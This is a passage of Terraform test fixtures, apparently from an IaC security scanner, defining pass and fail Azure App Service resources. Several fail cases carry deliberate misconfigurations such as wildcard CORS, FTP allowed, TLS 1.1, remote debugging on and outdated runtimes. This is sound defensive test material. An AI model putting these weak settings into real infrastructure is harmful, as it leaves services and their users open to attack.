application_logs = "test" } } resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { scm_type = "someValue" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = false detailed_error_messages = false } client_certificate_enabled = true auth_settings { enabled = true } site_config { cors { allowed_origins = ["*"] } } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true logs { failed_request_tracing = true } auth_settings { enabled = true } site_config {} } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing = true } site_config { cors { allowed_origins = ["192.0.0.1"] } } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = false detailed_error_messages = false } site_config { cors { allowed_origins = ["*"] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceEnvironmentZoneRedundant/main.tf ================================================ resource "azurerm_app_service_environment_v3" "pass" { name = "example-asev3" resource_group_name = azurerm_resource_group.example.name subnet_id = azurerm_subnet.example.id zone_redundant = true tags = { env = "production" terraformed = "true" } } resource "azurerm_app_service_environment_v3" "fail1" { name = "example-asev3" resource_group_name = azurerm_resource_group.example.name subnet_id = azurerm_subnet.example.id zone_redundant = false tags = { env = "production" terraformed = "true" } } resource "azurerm_app_service_environment_v3" "fail2" { name = "example-asev3" resource_group_name = azurerm_resource_group.example.name subnet_id = azurerm_subnet.example.id tags = { env = "production" terraformed = "true" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceFTPSState/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { ftps_state = "AllAllowed" } } resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { ftps_state = "FtpsOnly" } } resource "azurerm_app_service" "pass2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { ftps_state = "Disabled" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = false detailed_error_messages = false } client_certificate_enabled = true auth_settings { enabled = true } site_config { ftps_state = "AllAllowed" cors { allowed_origins = ["*"] } } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true logs { failed_request_tracing_enabled = true } auth_settings { enabled = true } site_config { ftps_state = "FtpsOnly" } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = true } site_config { ftps_state = "FtpsOnly" cors { allowed_origins = ["192.0.0.1"] } } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = false detailed_error_messages = false } site_config { ftps_state = "AllAllowed" cors { allowed_origins = ["*"] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceHTTPSOnly/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceHttpLoggingEnabled/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } logs { application_logs { azure_blob_storage { level = "warning" sas_url = "www.example.com" retention_in_days = 4 } } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id logs { http_logs { file_system { retention_in_days = 4 retention_in_mb = 10 } } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } logs { application_logs { azure_blob_storage { level = "warning" sas_url = "www.example.com" retention_in_days = 4 } } http_logs { file_system { retention_in_days = 4 retention_in_mb = 10 } } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } variable "enable_http_logs" { type = bool default = true } variable "enable_http_logs_file_system" { type = bool default = true } variable "http_logs_azure_blob_storage" { type = bool default = true } resource "azurerm_app_service" "pass3" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } logs { application_logs { azure_blob_storage { level = "warning" sas_url = "www.example.com" retention_in_days = 4 } } dynamic "http_logs" { for_each = var.enable_http_logs ? [1] : [] content { dynamic "file_system" { for_each = var.enable_http_logs_file_system ? [1] : [] content { retention_in_days = 4 retention_in_mb = 10 } } dynamic "azure_blob_storage" { for_each = var.http_logs_azure_blob_storage != null ? [1] : [] content { retention_in_days = 10 sas_url = "https://something.com" } } } } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true logs { failed_request_tracing_enabled = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 10 } } } auth_settings { enabled = true } site_config { ftps_state = "FtpsOnly" } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 10 } } } site_config { ftps_state = "FtpsOnly" cors { allowed_origins = ["192.0.0.1"] } } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true logs { failed_request_tracing_enabled = true } auth_settings { enabled = true } site_config { ftps_state = "FtpsOnly" } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { failed_request_tracing_enabled = true } site_config { ftps_state = "FtpsOnly" cors { allowed_origins = ["192.0.0.1"] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceHttps20Enabled/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { http2_enabled = true } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = true } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = true } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceIdentity/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id client_cert_enabled = true identity { type = "UserAssigned" identity_ids = "12345" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "UserAssigned" identity_ids = "12345" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "UserAssigned" identity_ids = "12345" } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceIdentityProviderEnabled/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { dotnet_framework_version = "v5.0" scm_type = "someValue" } identity { type = "SystemAssigned" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "SystemAssigned" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "SystemAssigned" } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceInstanceMinimum/main.tf ================================================ resource "azurerm_service_plan" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" worker_count = 2 } resource "azurerm_service_plan" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" worker_count = 1 } resource "azurerm_service_plan" "unknown" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" worker_count = var.count } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceJavaVersion/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { java_version = "1.7.0_80" scm_type = "someValue" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { java_version = "11" scm_type = "someValue" } } resource "azurerm_app_service" "unknown" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { scm_type = "someValue" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceMinTLSVersion/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { min_tls_version = "1.1" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "SystemAssigned" } site_config { minimum_tls_version = "1.2" } } resource "azurerm_linux_web_app" "pass_tls13" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "SystemAssigned" } site_config { minimum_tls_version = "1.3" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false minimum_tls_version = "1.1" } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true minimum_tls_version = "1.2" } identity { type = "SystemAssigned" } } resource "azurerm_windows_web_app" "pass_tls13" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true minimum_tls_version = "1.3" } identity { type = "SystemAssigned" } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false minimum_tls_version = "1.1" } } resource "azurerm_linux_web_app" "pass_tfvar" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true } identity { type = "SystemAssigned" } site_config { minimum_tls_version = var.min_tls_version } } resource "azurerm_linux_web_app" "pass_tfvar2" { name = "${var.prefix}-example" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name service_plan_id = azurerm_service_plan.example.id site_config { application_stack { python_version = "3.9" } minimum_tls_version = var.min_tls_version http2_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceMinTLSVersion/terraform.tfvars ================================================ min_tls_version = "1.2" ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceMinTLSVersion/variables.tf ================================================ variable "min_tls_version" { type = string description = "Minimum TLS version supported" default = "1.1" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServicePHPVersion/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { php_version = "5.6" scm_type = "someValue" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { php_version = "7.4" scm_type = "someValue" } } resource "azurerm_app_service" "unknown" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { scm_type = "someValue" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServicePlanZoneRedundant/main.tf ================================================ resource "azurerm_service_plan" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" zone_balancing_enabled = true } resource "azurerm_service_plan" "fail1" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" zone_balancing_enabled = false } resource "azurerm_service_plan" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServicePublicAccessDisabled/main.tf ================================================ # pass resource "azurerm_linux_web_app" "disabled" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = false } resource "azurerm_windows_web_app" "disabled" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = false } # fail resource "azurerm_linux_web_app" "default" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id } resource "azurerm_windows_web_app" "default" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id } resource "azurerm_linux_web_app" "enabled" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = true } resource "azurerm_windows_web_app" "enabled" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id public_network_access_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServicePythonVersion/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { python_version = "2.7" scm_type = "someValue" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { python_version = "3.4" scm_type = "someValue" } } resource "azurerm_app_service" "unknown" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { scm_type = "someValue" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceRemoteDebuggingNotEnabled/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" remote_debugging_enabled = true } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" remote_debugging_enabled = false } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_linux_function_app" "fail" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = true } } resource "azurerm_linux_function_app" "pass" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = false } } resource "azurerm_linux_function_app" "pass2" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { } } resource "azurerm_linux_web_app_slot" "fail" { name = "example-slot" app_service_id = azurerm_linux_web_app.example.id site_config { remote_debugging_enabled = true } } resource "azurerm_linux_web_app_slot" "pass" { name = "example-slot" app_service_id = azurerm_linux_web_app.example.id site_config { remote_debugging_enabled = false } } resource "azurerm_linux_web_app_slot" "pass2" { name = "example-slot" app_service_id = azurerm_linux_web_app.example.id site_config {} } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = true } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = false } } resource "azurerm_linux_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { } } resource "azurerm_linux_function_app_slot" "fail" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { remote_debugging_enabled = true } } resource "azurerm_linux_function_app_slot" "pass" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} } resource "azurerm_linux_function_app_slot" "pass2" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { remote_debugging_enabled = false } } resource "azurerm_windows_function_app" "fail" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = true } } resource "azurerm_windows_function_app" "pass" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = false } } resource "azurerm_windows_function_app" "pass2" { name = "example-windows-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_windows_function_app_slot" "fail" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { remote_debugging_enabled = true } } resource "azurerm_windows_function_app_slot" "pass" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} } resource "azurerm_windows_function_app_slot" "pass2" { name = "example-slot" function_app_id = azurerm_windows_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config { remote_debugging_enabled = false } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = true } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_windows_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { remote_debugging_enabled = false } } resource "azurerm_windows_web_app_slot" "fail" { name = "example-slot" app_service_id = azurerm_windows_web_app.example.id site_config { remote_debugging_enabled = true } } resource "azurerm_windows_web_app_slot" "pass" { name = "example-slot" app_service_id = azurerm_windows_web_app.example.id site_config { remote_debugging_enabled = false } } resource "azurerm_windows_web_app_slot" "pass2" { name = "example-slot" app_service_id = azurerm_windows_web_app.example.id site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceSetHealthCheck/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { min_tls_version = "1.1" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { health_check_path = "/somepath/" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true health_check_path = "/somepath/" } identity { type = "SystemAssigned" } site_config { minimum_tls_version = "1.2" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false minimum_tls_version = "1.1" } } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id https_only = true site_config { http2_enabled = true minimum_tls_version = "1.2" health_check_path = "/somepath/" } identity { type = "SystemAssigned" } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { http2_enabled = false minimum_tls_version = "1.1" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceSkuMinimum/main.tf ================================================ resource "azurerm_service_plan" "pass" { name = "example-plan" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name os_type = "Windows" sku_name = "S1" } resource "azurerm_service_plan" "fail" { name = "example-plan" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name os_type = "Windows" sku_name = "B1" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceSlotDebugDisabled/main.tf ================================================ resource "azurerm_app_service_slot" "fail" { name = "brian" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = false #thedefault site_config { dotnet_framework_version = "v4.0" min_tls_version = "1.1" remote_debugging_enabled = true } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } #default resource "azurerm_app_service_slot" "pass" { name = "fred" app_service_name = azurerm_app_service.example.name location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id 